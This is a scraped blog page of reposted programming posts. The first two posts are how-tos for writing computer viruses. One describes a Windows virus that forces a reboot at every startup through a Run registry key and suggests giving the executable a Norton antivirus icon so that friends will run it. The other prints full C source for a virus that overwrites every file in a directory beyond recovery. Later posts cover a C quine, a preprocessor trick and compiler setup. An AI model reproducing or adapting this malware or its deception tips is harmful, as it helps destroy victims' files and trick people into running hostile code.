Programming: How to Make a Virus to Restart Computer?

In this post, I will show you how to create a virus to restart the computer at every startup. That is, upon infection, the computer will get restarted every time the system is booted. As a result, the computer will become inoperable as it reboots again as soon as the desktop is loaded.

For this, the virus needs to be executed only once and from then on, it will carry out rest of the operation on its own. I have programmed this virus using the C language. If you are familiar with the C language then it is too easy to understand the logic behind the coding. The code is not posted here in this article, but you can download it from the link below.

Compiling the source code into an executable module:

1. Download the Source Code Here.
2. UnRar the file and you should see the source code: Sysres.C
3. For a step-by-step compilation guide, refer the post: How to compile C Programs?

Testing and removing the virus from your PC:

You can compile and test this virus on your own PC without any fear. To test, just double-click the sysres.exefile and restart the system manually. From now on, every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.

It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by following the below mentioned steps:

1. Reboot your computer in the safe mode.
2. Go to:
   %systemroot%\Windows\System
   (%systemroot% can be C,D,E or F)
3. You will find a file by name sysres.exe, delete it.
4. Type regedit in run. You will go to the registry editor. Here navigate to:
   HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run
   There, on the right site you will see an entry by name “sres“. Delete this entry. That’s it. You have now removed this virus successfully.

Logic Behind the working of this virus program:

If I do not explain the logic(Algorithm) behind the working of the virus program, I think this post would become an incomplete one. So I’ll explain the logic in a simplified manner without getting much into the technical aspects of the program. If you have further doubts, you can pass your comments.

LOGIC:

1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next, it will determine whether or not the virus file (sysres.exe) is already copied into%systemroot%\Windows\System.
3. If not it will just place a copy of itself into %systemroot%\Windows\System and makes a registry entry to put this virus file into the Windows startup.
4. Or else if the virus is already found in the %systemroot%\Windows\System directory (folder), then it just gives a command to restart the computer.

This process is repeated every time the PC is restarted.

NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.

How to change the icon of the executable module (This step is optional):

After you compile, the sysres.exe file that you get will have a default icon. If you send this file to your friends they may not execute it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.

For example, you can change the icon into Norton antivirus ICON itself so that the people seeing this file believes that it is Norton antivirus. Or you can change its ICON into the ICON of any popular or trusted programs so that people will definitely click on it.

The detailed tutorial on changing the ICON is given in my post How to Change the ICON of an EXE File?

WARNING: This code is for Educational Purposes only, do not MISUSE it!

This post was originally posted on GoHacking.com.

By: Unknown On 7:47 pm

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Programming: How to Create a Computer Virus?

This program is an example of how to create a computer virus in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory.

Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on.

Here’s the source code of the virus program:

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

CAUTION: This virus is designed to infect all types of files with any extension.

You can download the source code from the following link:

Download Source code here

How the Virus Program Works?

The algorithm of this virus program is as follows:

Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).

Step-2: Load the copy of the virus itself onto the memory.

Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.

Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.

As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.

How to Compile the Program:

For a step-by-step guide, you can refer my detailed post on how to compile C programs?

How to Test the Virus After the Compilation:

1. Create a new empty folder.
2. Put some executable files (or any other files) in the folder.
3. Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.
4. Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.
   NOTE: The files infected by this virus are destroyed completely and cannot be recovered. So, always test the virus in a new folder by placing some sample files.
   WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE.
   This post was originally posted on GoHacking.com.

By: Unknown On 7:19 pm

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Programming: How to Write a C Program to Print its Own Code?

Ever wondered how to write a C program to print its own source code? Well, here is the source code of a C program that when executed will print its own source code. In other words, the output of this program is exactly same as its source code.

Here’s the program:

#include<stdio.h>

char *program=”#include<stdio.h>%cchar *program=%c%s%c;%cvoid main()%c{%cprintf(program,10,34,program,34,10, 10,10,10);%c}”;

void main()
{
printf(program,10,34,program,34,10,10,10,10);
}

I hope you would like this post!

This post was originally posted on GoHacking.com.

By: Unknown On 7:05 pm

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Programming: How to Code a Program without Main Function?

Have you ever wondered how to write a C program without a main function? Can a C program execute with a main function? Is it possible to do that?

Well, the answer is YES! There can be a C program without a main function. Here is the source code of the program without a main function:

#include<stdio.h>
#define decode(s,t,u,m,p,e,d) m##s##u##t
#define begin decode(a,n,i,m,a,t,e)

int begin()
{
printf(” hello “);
}

The above program runs perfectly fine even without a main function. But how? What’s the logic behind it? How can we have a C program working without a main function. Read on to find out the answer…

Here, we are using a preprocessor directive called #define with arguments to give an impression that the program runs without the main function. However, in reality it runs with a hidden main function in it.

NOTE: A Preprocessor is program which processes the source code before compilation.

The ‘##‘ operator is called the token pasting or token merging operator. That is, we can merge two or more characters with it. Now, look at the 2nd line of program:

     
     #define decode(s,t,u,m,p,e,d) m##s##u##t

What is the preprocessor doing here? The macro decode(s,t,u,m,p,e,d) is being expanded as “msut” (The ## operator merges m, s, u and t into msut). The logic is, when you pass (s,t,u,m,p,e,d) as argument it merges the 4th, 1st, 3rd and the 2nd characters (tokens).

Now, look at the third line of the program:

     #define begin decode(a,n,i,m,a,t,e)

Here the preprocessor replaces the macro “begin” with the expansion decode(a,n,i,m,a,t,e). According to the macro definition in the previous line, the argument must be expanded so that the 4th, 1st, 3rd and the 2nd characters must be merged. In the argument (a,n,i,m,a,t,e) 4th, 1st, 3rd and the 2nd characters are ‘m’, ‘a’, ‘i’ and ‘n’.

So the third line “int begin” is replaced by “int main” by the preprocessor before the program is passed on to the compiler. That’s it.

The bottom line is that, there can never exist a C program without a main function. Here, we are just playing a gimmick that makes us believe that the program runs without the main, but there actually exists a hidden main function in the program. Here, we are using the proprocessor directive to intelligently replace the word “begin” by “main”. In simple words: int begin = int main. That's all folks!

This post was originally posted on GoHacking.com.

By: Unknown On 6:56 pm

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Programming: How to Compile C Programs?

If you’re new to C programming and find it difficult to compile the C source codes then this post is for you.

Here is a step-by-step procedure to install Borland C++ compiler 5.5 on your PC and compile the C programs.

How to Install Borland C++ compiler?

Follow the below steps to install Borland C++ compiler 5.5 on your PC:

1. Download Borland C++ compiler 5.5 (for Windows platform) from the following link:
   Download Borland C++ 5.5
2. After you download, run the file C++5.51.exe. The default installation path would be:
   C:\Borland\BCC55

How to configure Borland C++ compiler?

Here is a step-by-step instruction on how to configure the compiler:

1. After you install Borland C++ compier, create two new Text Documents.
2. Open the first New Text Document.txt file and add the following two lines into it:
   -I”c:\Borland\Bcc55\include”
   -L”c:\Borland\Bcc55\lib”
   Save changes and close the file. Now rename the file from New Text Document.txt to bcc32.cfg.
3. Open the second New Text Document (2).txt file and add the following line into it:
   -L”c:\Borland\Bcc55\lib”
   Save changes and close the file. Rename the file from New Text Document (2).txt to ilink32.cfg.
4. Now copy the two files bcc32.cfg and ilink32.cfg, navigate to C:\Borland\BCC55\Bin and paste them.

How to Compile the C Source Code (.C files)?

Here is a detailed instruction on how to compile C source codes:

1. You need to place the .C (example.c) file to be compiled in the following location:
   C:\Borland\BCC55\Bin
2. Now go to the command prompt (Start->Run->type cmd->Enter)
3. Make the following path as the present working directory (use the CD command):
   C:\Borland\BCC55\Bin
4. To compile the file (example.c) use the following command:
   bcc32 example.c
5. Now if there exists no error in the source code, you’ll get a compiled executable module (example.exe) in the same location (C:\Borland\BCC55\Bin).
6. Now you have successfully compiled the source code into an executable file(.exe file).
   NOTE: The above tutorial assumes that you’ve installed the compiler onto the C: drive (by default).
   This post was originally posted on GoHacking.com.

By: Unknown On 6:51 pm

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